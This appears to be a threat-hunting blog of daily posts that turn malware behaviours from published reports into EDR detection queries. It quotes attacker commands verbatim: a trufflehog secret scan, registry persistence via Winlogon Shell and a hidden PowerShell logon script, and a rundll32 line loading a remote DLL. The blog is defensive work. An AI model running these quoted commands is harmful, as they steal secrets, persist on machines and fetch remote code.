Know Your Adversary

Hello everyone! Let's look at a bit less common way to identify suspicious and malicious software - analyzing program database (PDB) paths. In some cases the adversary really wants us to understand the goals and find the malware. Let's look at an example. A Bookworm malware sample. According to the report , it has the following PDB path: C:\Users\hack\Documents\WhiteFile\LTDIS13n\Release\LTDIS13n.pdb Yes, "hack". So, if your EDR solution collects information about PDB paths, this may be a good detection opportunity: event_type: "processcreatewin" AND proc_file_pdb_path: "hack" Also, make sure to check the report to look at how to use The Unit 42 Attribution Framework in practice. See you tomorrow!

Hello everyone! As you know, in some cases adversaries choose very interesting staging folders to store their toolset on the compromised system. This fact, of course, may provide us hunting opportunities! Let's look at CountLoader. According to the report , it has the folowing capabilities among others: Download a file to the %userprofile%\Music\ directory and execute it. Download a DLL to the %userprofile%\Music\ directory and execute it with rundll32.exe. Download an MSI file to the %userprofile%\Music\ directory and execute it with msiexec.exe. First, we can hunt for any executions from Music folder: event_type: "processcreatewin" AND proc_file_path: "music" Second, we can hunt for rundll32.exe or msiexec.exe executing suspicious files from Music folder: event_type: "processcreatewin" AND proc_file_path: ("rundll32.exe" OR "msiexec.exe") AND cmdline: "music" See you tomorrow!

Hello everyone! Adveraries, especially ransomware gangs, often abuse legitimate RMMs. But do them need to bring such software with them? In some cases - they don't! For example, this case covered by Barracuda. Akira ransomware affiliates got access to Datto RMM tool’s management console and used it to execute the attack. So it's always a good idea to hunt for abnormal RMM-related behavior. To find Datto RMM, for example, you can look for accordingly signed files: event_type: "processcreatewin" AND proc_file_sig: "datto" Also, you can always look for Datto-related domain resolutions: event_type: "dnsreqwin" AND dns_rname: "rmm.datto.com" See you tomorrow!

Hello everyone! I'm sure you already heard about  Shai-Hulud - a self-replicating supply-chain worm discovered in mid-September 2025. Let's look at some of its behaviors and transform into hunting queries! This first behavior that caught my attention was abusing trufflehog to look for sensitive data in the filesystem: trufflehog filesystem . --json --results=verified We can easily transform it into a hunting query: event_type: ("processcreatemac" OR "processcreatenix") AND proc_file_name: "trufflehog" AND cmdline: ("filesystem" AND "json" AND "results" AND "verified") Another interesting behavior is related to sensitive data exfiltration. The adversary abused  webhook[.]site to acheive it, and it's another hunting opportunity: event_type: ("dnsreqmac" OR "dnsreqnix") AND dns_rname: "webhook.site" See you tomorrow!

Hello everyone! Today we'll look at another persistence mechanism, which you don't see ITW very often. I'm talking about the following technique -  Boot or Logon Autostart Execution: Winlogon Helper DLL (T1547.004) . According to this report , the adversary modified Winlogon key in order to achieve persistence: reg add '"hkcu\software\microsoft\windows nt\currentversion\winlogon'" /f /v Shell /t REG_SZ /d '"$($sv.Replace('"', '\"'))'""  Such registry modification enables the malicious script to run at every user login along with explorer.exe. At the same time, it's a detection opportunity for us: event_type: "processcreatewin" AND proc_file_path: "reg.exe" AND cmdline: ("add" AND "winlogon" AND "shell") See you tomorrow!

Hello everyone! Today we'll look into another great report by Zscaler. This time it's on COLDRIVER (also known as Star Blizzard, Callisto, and UNC4057). And it's full of detection and hunting ideas! The threat actor added ClickFix to their arsenal, but leveraged rundll32.exe instead of common cmd.exe , powershell.exe and mshta.exe : rundll32.exe \\captchanom[.]top\check\machinerie.dll,verifyme Here we can hunt for rundll32.exe executing DLLs located on .top (you can experiment with others, of course) domains (and yes, I love hunting for rundll32.exe abuse): event_type: "processcreatewin" AND proc_file_path: "rundll32.exe" AND cmdline: *top* The threat actors used Logon Script (T1037.001) for persistence: reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "powershell -WindowStyle Hidden -ep bypass \"%APPDATA%\Microsoft\Windows\FvFLcsr23.ps1\" \"7eHgxjgbBs3gHdkgx9AsRC\"" /f% And yes, it's ano...

Hello everyone! Let's keep digging into the report on Gamaredon and Turla collaboration. This time we'll look at another Gamaredon's malware -  PteroEffigy . PteroEffigy is another PowerShell-based downloader, and it also abuses a legitimate web service. But unlike PteroGraphin, it leverages  api.gofile[.]io instead of telegra[.]ph . Of course, we can convert this knowledge into a hunting query: event_type: "dnsreqwin" AND dns_rname: "gofile.io" AND proc_file_name: "powershell.exe" See you tomorrow!